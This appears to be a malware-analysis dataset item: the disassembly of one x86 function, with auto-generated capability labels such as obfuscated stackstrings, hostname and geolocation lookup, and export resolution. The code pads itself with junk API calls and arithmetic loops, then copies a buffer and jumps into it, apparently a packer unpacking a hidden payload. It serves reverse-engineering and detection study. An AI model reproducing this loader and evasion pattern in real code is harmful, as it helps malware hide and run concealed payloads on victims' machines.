Function at 0x403030
Capabilities:
Access the windows event log
Contain obfuscated stackstrings
Get common file path
Get geographical location
Get hostname
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x2604
call fcn.0040a4b0
cmp dword [0x7fe334], 0x66
push ebx
push esi
push edi
jne 0x403105
push 0x402aa0
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
lea eax, [esp + 0x1d8]
push eax
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x1c]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetTextExtentExPointW]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
lea eax, [esp + 0x1e0]
push eax
push esi
call dword [sym.imp.ole32.dll_ReadClassStg]
push esi
lea eax, [esp + 0x214]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueueTimer]
lea ecx, [esp + 0x1c8]
call fcn.00404319
lea ecx, [esp + 0x1c8]
call fcn.0040437d
push 0x402aa8
lea ecx, [esp + 0x1cc]
call fcn.00402c90
lea ecx, [esp + 0x1c8]
call fcn.00402ca9
push esi
call fcn.004045b7
pop ecx
push esi
call fcn.004045b7
pop ecx
push esi
call fcn.0040489e
add dword [0x7fe334], 0xb2d3b
call fcn.00402f67
call fcn.00402f7b
xor esi, esi
xor eax, eax
cmp dword [0x7fe334], esi
jbe 0x403144
mov ecx, dword [0x7fe4d4]
mov cl, byte [ecx + eax + 0xb2d3b]
mov edx, dword [0x7fcf10]
mov byte [edx + eax], cl
inc eax
cmp eax, dword [0x7fe334]
jb 0x403125
xor ebx, ebx
mov eax, dword [0x7fe334]
add eax, ebx
cmp eax, 0x5e
jne 0x4031e6
xor eax, eax
mov dword [esp + 0x1e0], esi
lea edi, [esp + 0x1e4]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x1e0]
push eax
lea eax, [esp + 0x1f8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
push esi
lea eax, [esp + 0x614]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
lea eax, [esp + 0x1610]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
xor eax, eax
mov word [esp + 0x1c8], ax
lea edi, [esp + 0x1ca]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [esp + 0xe14]
push eax
push 0x402ab8
lea eax, [esp + 0x1d4]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push esi
push esi
lea eax, [esp + 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
inc ebx
cmp ebx, 0x40c893
jl 0x403146
mov edi, 0x4f4
push esi
call dword [sym.imp.USER32.dll_GetListBoxInfo]
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec edi
jne 0x4031f8
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
call edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp ebx, 0x26e7e4
jge 0x404218
mov dword [esp + 0x178], 0x4a37dc86
mov dword [esp + 0x98], 0x8fad4aa
mov dword [esp + 0x44], 0x3cbb0804
mov dword [esp + 0x114], 0x10064b9f
mov dword [esp + 0x1a4], 0x22486292
mov dword [esp + 0x100], 0x2494b1ff
mov dword [esp + 0x16c], 0x3f986083
mov dword [esp + 0x138], 0x38161cf7
mov dword [esp + 0x38], 0x6a219cdd
mov dword [esp + 0x30], 0x5cbc3e50
mov dword [esp + 0x7c], 0x6502761a
mov dword [esp + 0x24], 0x4153002c
mov dword [esp + 0xec], 0x5bc3067
mov dword [esp + 0xd8], 0x2ad08fe9
mov dword [esp + 0x1a8], 0x7411c935
mov dword [esp + 0xd0], 0x38d852b2
mov dword [esp + 0x28], 0x4e1b7ba8
mov dword [esp + 0x18c], 0x60dc6f8f
mov dword [esp + 0xbc], 0x19447056
mov dword [esp + 0x10], 0x7954be20
mov dword [esp + 0xc8], 0x6ae73bb6
mov dword [esp + 0x20], 0x449650d2
mov dword [esp + 0x8c], 0x7c455fd2
mov dword [esp + 0x74], 0x5be30db0
mov dword [esp + 0xe4], 0x38b8977
mov dword [esp + 0xf8], 0x200979b
mov dword [esp + 0x170], 0x7c4aa1d3
mov dword [esp + 0x130], 0x64c7fe0f
mov dword [esp + 0x34], 0x68466a28
mov dword [esp + 0x168], 0x307eaba7
mov dword [esp + 0x164], 0x572fa7a5
mov dword [esp + 0x1ac], 0x5d1fb74c
mov dword [esp + 0x14], 0x5fc5e3c
mov dword [esp + 0x160], 0x2144a66c
mov dword [esp + 0x10c], 0x10c053a8
mov dword [esp + 0x84], 0x490592a8
mov dword [esp + 0x128], 0x3ac75864
mov dword [esp + 0x2c], 0x68716ca7
mov dword [esp + 0xdc], 0x4ba00a96
mov dword [esp + 0xc], 0xc77f4c3
mov dword [esp + 0x1b0], 0x52f675c1
mov dword [esp + 0x158], 0x240d250d
mov dword [esp + 0x104], 0x6a801f70
mov dword [esp + 0xb4], 0x271e885f
mov dword [esp + 0x120], 0x2245726
mov dword [esp + 0x1d8], 0x6d33ef9
mov dword [esp + 0x1c0], 0x16c6f560
mov dword [esp + 0x64], 0x1842c352
mov dword [esp + 0x124], 0x63a73f85
mov dword [esp + 0x5c], 0x2eadbf3b
mov dword [esp + 0x1c], 0x4a0a6019
mov dword [esp + 0x134], 0x41510c79
mov dword [esp + 0x14c], 0x67cfba29
mov dword [esp + 0x184], 0xcc2a85e
mov dword [esp + 0xac], 0x5055dc3a
mov dword [esp + 0x90], 0x5d1ba65b
mov dword [esp + 0xd4], 0x7483e354
mov dword [esp + 0x198], 0x503c9342
mov dword [esp + 0x88], 0x4a900927
mov dword [esp + 0x80], 0x47e55b77
mov dword [esp + 0x1c4], 0x20a6e6ce
mov dword [esp + 0xc0], 0x44fc4c34
mov dword [esp + 0x15c], 0x66c38897
mov dword [esp + 0x12c], 0x9dcfd62
mov dword [esp + 0x60], 0x3fdf912b
mov dword [esp + 0xf0], 0x44a924e4
mov dword [esp + 0x54], 0x195e7a81
mov dword [esp + 0x188], 0x27e5d3e4
mov dword [esp + 0x3c], 0x65c8d95f
mov dword [esp + 0x174], 0x27cd3417
mov dword [esp + 0xb8], 0x6c26b30a
mov dword [esp + 0x194], 0x2d45c1d
mov dword [esp + 0xa4], 0x68592c56
mov dword [esp + 0x150], 0x101f0e65
mov dword [esp + 0x11c], 0x622c3fc4
mov dword [esp + 0x18], 0x7faf4b75
mov dword [esp + 0xcc], 0x34afbfdb
mov dword [esp + 0x78], 0x3d2aa76b
mov dword [esp + 0x1a0], 0x16341b17
mov dword [esp + 0x6c], 0x5f2549cb
mov dword [esp + 0x1bc], 0x7527bccb
mov dword [esp + 0x118], 0x63bcbf2f
mov dword [esp + 0x70], 0x4a99d7f3
mov dword [esp + 0xc4], 0x5dcb9a3a
mov dword [esp + 0x144], 0x365b810e
mov dword [esp + 0x58], 0x462c8607
mov dword [esp + 0x1b8], 0x25b60a83
mov dword [esp + 0xf4], 0x1fcea25d
mov dword [esp + 0x9c], 0xd834ce2
mov dword [esp + 0x190], 0x1b70862e
mov dword [esp + 0xb0], 0x6732085c
mov dword [esp + 0x50], 0x7b00a12e
mov dword [esp + 0x17c], 0x1dd14d26
mov dword [esp + 0xe8], 0x44e24f2b
mov dword [esp + 0x1b4], 0x1aceebc2
mov dword [esp + 0x110], 0x1e2fdcf6
mov dword [esp + 0x4c], 0x7d71a239
mov dword [esp + 0x48], 0x5412dc55
mov dword [esp + 0x94], 0x41af859d
mov dword [esp + 0x40], 0xa498b28
mov dword [esp + 0x19c], 0x5e2d51dd
mov dword [esp + 0x13c], 0x77e00076
mov dword [esp + 0x148], 0x5e5a9d7d
mov dword [esp + 0x108], 0x53613019
mov dword [esp + 0xfc], 0x1f34a4b1
mov dword [esp + 0x140], 0x32c374a0
mov dword [esp + 0xa8], 0x40c381e1
mov dword [esp + 0x180], 0xd345695
mov dword [esp + 0x154], 0x2fe99d90
mov dword [esp + 0xa0], 0x1485481f
mov dword [esp + 0x68], 0x25c7ab0f
mov dword [esp + 0xe0], 0x29a49e8a
add dword [esp + 0x178], 0x48618d29
add dword [esp + 0x178], 0x59c15f18
sub dword [esp + 0x1a4], 0x6a4f63de
mov eax, 0x4d7b98f7
mul dword [esp + 0x16c]
mov eax, dword [esp + 0x16c]
add dword [esp + 0x44], 0x598795d7
add dword [esp + 0x16c], 0x23d99658
mov eax, 0x6e8827f8
mul dword [esp + 0x98]
mov eax, dword [esp + 0x98]
sub dword [esp + 0x44], 0x5844a51d
sub dword [esp + 0x44], 0x2cb5360e
mov eax, 0x3b6d19f4
mul dword [esp + 0x1a4]
mov eax, dword [esp + 0x1a4]
add dword [esp + 0x1a4], 0x6a0847d
add dword [esp + 0x138], 0x46709d1d
sub dword [esp + 0x1a4], 0x2e63d39b
add dword [esp + 0x98], 0x1edf127f
sub dword [esp + 0x38], 0x7c4a6ad8
add dword [esp + 0x16c], 0x95efc76
mov eax, 0x16c5f306
mul dword [esp + 0xec]
mov eax, dword [esp + 0xec]
sub dword [esp + 0x178], 0x6db9423e
mov eax, 0x791c7aa1
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
mov eax, 0xb799596
mul dword [esp + 0xec]
mov eax, dword [esp + 0xec]
sub dword [esp + 0x138], 0x1cec614c
add dword [esp + 0xd0], 0x48b379dd
add dword [esp + 0xec], 0x45d54c05
add dword [esp + 0x7c], 0x56bb6e32
sub dword [esp + 0x38], 0x1789bff
add dword [esp + 0xd8], 0x21815b4c
sub dword [esp + 0xbc], 0x2955cc22
mov eax, 0x3c6a1563
mul dword [esp + 0x10]
mov eax, dword [esp + 0x10]
sub dword [esp + 0x138], 0x4685f034
mov eax, 0x2191ac80
mul dword [esp + 0x138]
mov eax, dword [esp + 0x138]
add dword [esp + 0x114], 0x2ed5fc6e
mov eax, 0x3ae4c949
mul dword [esp + 0x44]
mov eax, dword [esp + 0x44]
sub dword [esp + 0x18c], 0x23bd1874
sub dword [esp + 0xd8], 0x37ebbfd1
sub dword [esp + 0xc8], 0xd1ff618
sub dword [esp + 0x138], 0x7c97fa7
add dword [esp + 0xd0], 0x63426a34
sub dword [esp + 0xd8], 0x330f3e6b
mov eax, 0x41f3d820
mul dword [esp + 0x38]
mov eax, dword [esp + 0x38]
sub dword [esp + 0x98], 0x1d973084
add dword [esp + 0x114], 0x728cfcdb
add dword [esp + 0xd0], 0x358b81c3
mov eax, 0x1403f623
mul dword [esp + 0x10]
mov eax, dword [esp + 0x10]
add dword [esp + 0x98], 0x3b2f08f1
mov eax, 0x5d967cbb
mul dword [esp + 0x44]
mov eax, dword [esp + 0x44]
mov eax, 0x249ba8dc
mul dword [esp + 0xd8]
mov eax, dword [esp + 0xd8]
add dword [esp + 0x98], 0x3a481191
sub dword [esp + 0x30], 0x1cc9b3
sub dword [esp + 0x20], 0x691eb869
add dword [esp + 0x74], 0x7c34e276
add dword [esp + 0x30], 0x41cc8aed
add dword [esp + 0x34], 0x477cea27
mov eax, 0xac0eb27
mul dword [esp + 0xbc]
mov eax, dword [esp + 0xbc]
add dword [esp + 0xf8], 0x2eaa38b9
sub dword [esp + 0x44], 0x3e42707f
sub dword [esp + 0x74], 0x5ad1c4b7
add dword [esp + 0x44], 0x64a465c6
add dword [esp + 0x7c], 0x44736a6a
add dword [esp + 0x28], 0x300c7346
mov eax, 0x1c9d7cef
mul dword [esp + 0x130]
mov eax, dword [esp + 0x130]
mov eax, 0x10b00af0
mul dword [esp + 0x28]
mov eax, dword [esp + 0x28]
add dword [esp + 0x168], 0x560e2a14
sub dword [esp + 0x114], 0x55722bad
mov eax, 0x225d7435
mul dword [esp + 0x98]
mov eax, dword [esp + 0x98]
mov eax, 0x5b93601f
mul dword [esp + 0x98]
mov eax, dword [esp + 0x98]
mov eax, 0x2c82bf21
mul dword [esp + 0xc8]
mov eax, dword [esp + 0xc8]
sub dword [esp + 0x168], 0x6c83fd48
add dword [esp + 0x170], 0x31f6366d
mov eax, 0x16be7045
mul dword [esp + 0x1a8]
mov eax, dword [esp + 0x1a8]
add dword [esp + 0x10c], 0x5d2d5109
add dword [esp + 0xd0], 0x7cae744b
add dword [esp + 0x10], 0x73c0e7a3
mov eax, 0x48bec0b1
mul dword [esp + 0x38]
mov eax, dword [esp + 0x38]
add dword [esp + 0x8c], 0x6fc7d9de
add dword [esp + 0x74], 0x3247c24c
mov eax, 0x7e7d127a
mul dword [esp + 0x98]
mov eax, dword [esp + 0x98]
mov eax, 0xd60bdee
mul dword [esp + 0xbc]
mov eax, dword [esp + 0xbc]
sub dword [esp + 0x1a4], 0x16511f5
sub dword [esp + 0x164], 0x57b58a98
mov eax, 0x5decbae5
mul dword [esp + 0x8c]
mov eax, dword [esp + 0x8c]
mov eax, 0x6e95013c
mul dword [esp + 0x44]
mov eax, dword [esp + 0x44]
sub dword [esp + 0x44], 0x38e8f800
add dword [esp + 0x2c], 0xc0eb12d
sub dword [esp + 0x170], 0x50fcb6b5
sub dword [esp + 0xd0], 0x113c6f13
mov eax, 0x8dd6acc
mul dword [esp + 0x38]
mov eax, dword [esp + 0x38]
add dword [esp + 0x30], 0x8c106b2
add dword [esp + 0x1b0], 0x4a0ab755
add dword [esp + 0x120], 0x4238d1b5
mov eax, 0x742475bd
mul dword [esp + 0x74]
mov eax, dword [esp + 0x74]
mov eax, 0x1cb2ebcd
mul dword [esp + 0x28]
mov eax, dword [esp + 0x28]
sub dword [esp + 0x178], 0xf02a383
sub dword [esp + 0x138], 0x56c698c1
add dword [esp + 0x1c0], 0x6d47c928
sub dword [esp + 0xc8], 0x6f225a5e
sub dword [esp + 0xd8], 0x624f68f1
mov eax, 0x34a34183
mul dword [esp + 0x10]
mov eax, dword [esp + 0x10]
add dword [esp + 0x1b0], 0x24aeee28
sub dword [esp + 0x168], 0x673d8072
add dword [esp + 0x120], 0x1e80dd99
add dword [esp + 0x130], 0x4331feef
add dword [esp + 0xec], 0x30381c21
add dword [esp + 0x164], 0x3185b0ce
sub dword [esp + 0x34], 0x35c5e53f
mov eax, 0x671b7a2d
mul dword [esp + 0xe4]
mov eax, dword [esp + 0xe4]
mov eax, 0x72a592c1
mul dword [esp + 0x14c]
mov eax, dword [esp + 0x14c]
sub dword [esp + 0x100], 0x4a9a1aa8
sub dword [esp + 0xb4], 0x5d7abd8
mov eax, 0x6b7124bf
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
mov eax, 0x7ff0d8ad
mul dword [esp + 0xec]
mov eax, dword [esp + 0xec]
sub dword [esp + 0xe4], 0x49c7351f
mov eax, 0x1b029a8b
mul dword [esp + 0x178]
mov eax, dword [esp + 0x178]
sub dword [esp + 0x90], 0x33998c91
sub dword [esp + 0x8c], 0x1fe526e1
mov eax, 0x75879fdf
mul dword [esp + 0x16c]
mov eax, dword [esp + 0x16c]
sub dword [esp + 0x14], 0x1263d7cf
mov eax, 0x69a2289d
mul dword [esp + 0x14c]
mov eax, dword [esp + 0x14c]
mov eax, 0x32da0e8
mul dword [esp + 0x1c0]
mov eax, dword [esp + 0x1c0]
sub dword [esp + 0x8c], 0x4c18c04a
add dword [esp + 0x98], 0x317da3a9
mov eax, 0x73b02449
mul dword [esp + 0xbc]
mov eax, dword [esp + 0xbc]
sub dword [esp + 0x90], 0x5fb82b53
add dword [esp + 0x124], 0x33522f78
add dword [esp + 0x114], 0x6d568a15
mov eax, 0x2162d3e0
mul dword [esp + 0x1a8]
mov eax, dword [esp + 0x1a8]
sub dword [esp + 0x18c], 0x6552ee2b
sub dword [esp + 0x114], 0x37b2dded
add dword [esp + 0x24], 0x5e3deeac
sub dword [esp + 0xec], 0x6e96bb1
add dword [esp + 0x28], 0x4754349c
add dword [esp + 0x1c4], 0x6f1793e3
sub dword [esp + 0x14], 0x4786a3b4
add dword [esp + 0x88], 0x4e4d62fa
add dword [esp + 0xd8], 0x1fd8336a
mov eax, 0x11539cbe
mul dword [esp + 0x170]
mov eax, dword [esp + 0x170]
add dword [esp + 0x8c], 0x2f5d8aa6
add dword [esp + 0x114], 0x7f8ccb0c
sub dword [esp + 0x20], 0x245bfa06
mov eax, 0x66d1843a
mul dword [esp + 0x14c]
mov eax, dword [esp + 0x14c]
mov eax, 0x736b6487
mul dword [esp + 0xf0]
mov eax, dword [esp + 0xf0]
add dword [esp + 0x1c], 0x18ec3b97
sub dword [esp + 0x64], 0x4610596e
add dword [esp + 0xd0], 0xa4a17f0
mov eax, 0x59252da4
mul dword [esp + 0x10]
mov eax, dword [esp + 0x10]
sub dword [esp + 0x34], 0x2265f1d9
mov eax, 0x64ab183
mul dword [esp + 0xf0]
mov eax, dword [esp + 0xf0]
add dword [esp + 0x34], 0x2c11eb6d
add dword [esp + 0x178], 0x72527571
add dword [esp + 0x1ac], 0x69e61aa0
mov eax, 0xe4b0894
mul dword [esp + 0xc0]
mov eax, dword [esp + 0xc0]
sub dword [esp + 0x130], 0x7e3ea839
add dword [esp + 0x158], 0xd450c65
add dword [esp + 0x120], 0x3ed91901
mov eax, 0x4bb66c7c
mul dword [esp + 0x1a4]
mov eax, dword [esp + 0x1a4]
sub dword [esp + 0x1a4], 0x50b57cb8
mov eax, 0x5b41d416
mul dword [esp + 0x7c]
mov eax, dword [esp + 0x7c]
mov eax, 0xf0a5c8
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
add dword [esp + 0x188], 0x3dc32ae1
mov eax, 0x6b3ebf37
mul dword [esp + 0xbc]
mov eax, dword [esp + 0xbc]
sub dword [esp + 0x7c], 0x17b3bba3
sub dword [esp + 0x128], 0x21bf08cd
add dword [esp + 0x90], 0x797009a5
add dword [esp + 0x88], 0x16f0f119
add dword [esp + 0x178], 0x5a6efe42
sub dword [esp + 0x44], 0x1ec972e
mov eax, 0x436e59c7
mul dword [esp + 0x150]
mov eax, dword [esp + 0x150]
sub dword [esp + 0x104], 0x5d2e3c57
mov eax, 0x30c77093
mul dword [esp + 0x12c]
mov eax, dword [esp + 0x12c]
add dword [esp + 0x1d8], 0x2f6bf32b
sub dword [esp + 0xf0], 0x11f2124b
mov eax, 0x2dfebe1
mul dword [esp + 0x1a8]
mov eax, dword [esp + 0x1a8]
add dword [esp + 0x38], 0x1c897e
sub dword [esp + 0xd0], 0x8f99ce5
sub dword [esp + 0x18], 0x20116b3d
mov eax, 0x21eee7f1
mul dword [esp + 0x15c]
mov eax, dword [esp + 0x15c]
add dword [esp + 0x90], 0x4db5ae9d
add dword [esp + 0x18c], 0x63051de
sub dword [esp + 0x1b0], 0x1cb0f6f6
sub dword [esp + 0x1a0], 0x554222f6
add dword [esp + 0x24], 0x35ae4ec
sub dword [esp + 0x60], 0x5d9447e5
mov eax, 0x7bd58d32
mul dword [esp + 0x14c]
mov eax, dword [esp + 0x14c]
add dword [esp + 0x80], 0x2fc5a2b
add dword [esp + 0x1d8], 0x6407bf56
mov eax, 0x4b17642c
mul dword [esp + 0x114]
mov eax, dword [esp + 0x114]
sub dword [esp + 0x10], 0x5fa52eba
add dword [esp + 0x158], 0x3af07d00
mov eax, 0x54bd4f47
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
add dword [esp + 0x54], 0x72713cd9
add dword [esp + 0x198], 0x29d27d71
add dword [esp + 0x60], 0x5d5437a4
sub dword [esp + 0x3c], 0x76a86887
add dword [esp + 0xf8], 0x496ce873
sub dword [esp + 0x90], 0x265bf0f8
mov eax, 0x1c80ecd4
mul dword [esp + 0xc4]
mov eax, dword [esp + 0xc4]
sub dword [esp + 0x160], 0x4940f92e
add dword [esp + 0x20], 0x435ee23f
add dword [esp + 0xc], 0x6c0957e7
add dword [esp + 0x1b8], 0x15c52a01
add dword [esp + 0xf4], 0x6ac57952
mov eax, 0x13e30331
mul dword [esp + 0x1a8]
mov eax, dword [esp + 0x1a8]
sub dword [esp + 0x1c0], 0x8480865
add dword [esp + 0xd0], 0x1c849185
add dword [esp + 0xb4], 0x5621e93a
add dword [esp + 0x15c], 0xfc674c
mov eax, 0x6c255906
mul dword [esp + 0x10]
mov eax, dword [esp + 0x10]
add dword [esp + 0x34], 0x68955fb6
sub dword [esp + 0x18], 0x60620f31
sub dword [esp + 0xbc], 0x470455c
sub dword [esp + 0xcc], 0x4b822ea7
mov eax, 0x4eda514e
mul dword [esp + 0xb8]
mov eax, dword [esp + 0xb8]
add dword [esp + 0x130], 0x26a5b847
sub dword [esp + 0x160], 0x5d516951
mov eax, 0x4c33edb3
mul dword [esp + 0x40]
mov eax, dword [esp + 0x40]
mov eax, 0x531cd14e
mul dword [esp + 0xbc]
mov eax, dword [esp + 0xbc]
add dword [esp + 0x114], 0x3fbe415b
add dword [esp + 0x74], 0x1776714d
add dword [esp + 0xe8], 0x1d5ad29b
add dword [esp + 0x40], 0x757996d7
mov eax, 0x608915
mul dword [esp + 0x64]
mov eax, dword [esp + 0x64]
mov eax, 0x563859d9
mul dword [esp + 0x1ac]
mov eax, dword [esp + 0x1ac]
add dword [esp + 0x94], 0x7e4ab5bf
mov eax, 0x2439b208
mul dword [esp + 0x1d8]
mov eax, dword [esp + 0x1d8]
mov eax, 0x345b0acd
mul dword [esp + 0x184]
mov eax, dword [esp + 0x184]
add dword [esp + 0x24], 0x78263a12
mov eax, 0x21b9c33
mul dword [esp + 0x1c4]
mov eax, dword [esp + 0x1c4]
mov eax, 0x3d1ac82c
mul dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
sub dword [esp + 0x104], 0x2a267df8
add dword [esp + 0x98], 0x1368ace2
sub dword [esp + 0x48], 0x17087538
mov eax, 0x3b01874e
mul dword [esp + 0xd0]
mov eax, dword [esp + 0xd0]
add dword [esp + 0xc0], 0xbecb6fc
mov eax, 0x58c1a9d8
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
mov eax, 0x167595b6
mul dword [esp + 0x60]
mov eax, dword [esp + 0x60]
add dword [esp + 0xb4], 0x40633d31
mov eax, 0x32e0b8b
mul dword [esp + 0xe8]
mov eax, dword [esp + 0xe8]
add dword [esp + 0x16c], 0x5db10c0e
mov eax, 0x16d3a47
mul dword [esp + 0xc0]
mov eax, dword [esp + 0xc0]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetGeoInfoW]
cmp ebx, 0x242695
jg 0x404238
inc ebx
cmp ebx, 0x15a2287c
jl 0x403218
call fcn.00402ece
xor ecx, ecx
cmp ecx, 0xbde
jne 0x40424c
call fcn.00402f4d
inc ecx
cmp ecx, 0x409495
jl 0x40423f
push 0x7b
pop ebx
cmp dword [0x7fe334], 0x86
jne 0x40427a
push esi
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push esi
lea eax, [esp + 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
dec ebx
jne 0x404258
mov ebx, 0x180ee
cmp dword [0x7fe334], 0x1f
jne 0x4042b9
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
call edi
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x1e14]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
dec ebx
jne 0x404282
call fcn.00402cd0
mov eax, dword [0x7fcf10]
mov dword [0x7fe328], eax
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret